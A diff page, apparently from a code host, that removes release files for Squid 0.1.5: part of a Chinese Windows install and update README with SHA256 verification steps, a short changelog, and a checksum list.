2. 这是未签名构建。若 SmartScreen 显示警告,请选择“更多信息” > “仍要运行”。
3. 卸载请在 Windows“设置 > 应用”中移除 Squid。
更新
----
Squid 使用与 nex_shift 一致的 releases 分支更新通道。更新包会先校验
文件大小与 SHA256,再在退出后运行同一个安装程序。若构建时写入发布公钥,
还会验证清单的 Ed25519 签名。
校验
----
PowerShell:
Get-FileHash .\Squid-Setup-0.1.5-win-x64.exe -Algorithm SHA256

View File

@ -1,9 +0,0 @@
Squid 0.1.5
- 语言默认跟随系统;macOS、Windows 与 Linux 分别读取对应的系统语言设置。
- 语言设置只保留中文与 English 两项,默认选中当前系统语言;切换后托盘菜单同步更新。
- 设置中新增开机自启开关,使用当前用户级启动项,无需管理员权限。
- 软件更新下载完成后的「放弃」按钮改为与 Shift 一致的中性描边样式。
- 统一 Nex 暖色设计语言:界面只使用橙色主色、暖中性色与成功/警告/危险状态色,移除蓝色、紫色、青色和粉色装饰。
- README 提供双语首页以及完整的简体中文版和英文版。
- macOS 与 Windows 同步发布 0.1.5。

View File

@ -1,3 +0,0 @@
57028b3872a9dbe965752b6451cc06fcec19d6d92b2e40710e5bbd49b2b60bd2 Squid-0.1.5-macOS-universal.dmg
9e85eefc348e066f873f3b91c6202f0e906c166a0c50a8fec4de6db7dc1f907b Squid-Setup-0.1.5-win-x64.exe
2048178675631a41f39961413d6865c462e5366ffeb890431c373cd7cb8440cb README-Windows-x64.txt

Some files were not shown because too many files have changed in this diff Show More